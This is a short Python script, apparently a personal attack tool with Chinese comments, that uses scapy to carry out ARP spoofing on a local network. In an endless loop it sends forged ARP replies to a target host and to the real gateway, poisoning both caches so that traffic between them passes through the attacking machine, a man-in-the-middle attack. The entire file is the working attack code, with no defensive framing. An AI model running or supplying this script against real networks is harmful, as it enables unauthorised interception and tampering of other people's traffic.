# -*- coding: utf-8 -*-
# @Time : 2022/6/8 10:40
# @Author : admin
# @Email : 1985264689@qq.com
# @File : arpcheat.py
# @Project : 项目
# @脚本说明 :
import time
from scapy.layers.l2 import getmacbyip, Ether, ARP
from scapy.sendrecv import sendp
def arp_cheating():
#被攻击主机的MAC和IP
target_ip = '192.168.17.42'
target_mac = ''
#攻击主机的MAC和IP
spoof_ip = '192.168.17.51'
spoof_mac = ''
#真实网关的MAC和IP
gateway_ip = '192.168.17.1'
gateway_mac = getmacbyip(gateway_ip)
while True:
#欺骗被攻击主机:op=1:ARP请求,op=2:ARP响应
packet = Ether(src=spoof_mac,dst=target_mac)/ARP(hwsrc=spoof_mac,psrc=gateway_ip,hwdst=target_mac,pdst=target_ip,op=2)
sendp(packet)
#欺骗网关
packet = Ether(src=spoof_mac,dst=gateway_mac)/ARP(hwsrc=spoof_mac,psrc=target_ip,hwdst=gateway_mac,pdst=gateway_ip,op=2)
sendp(packet)
time.sleep(1)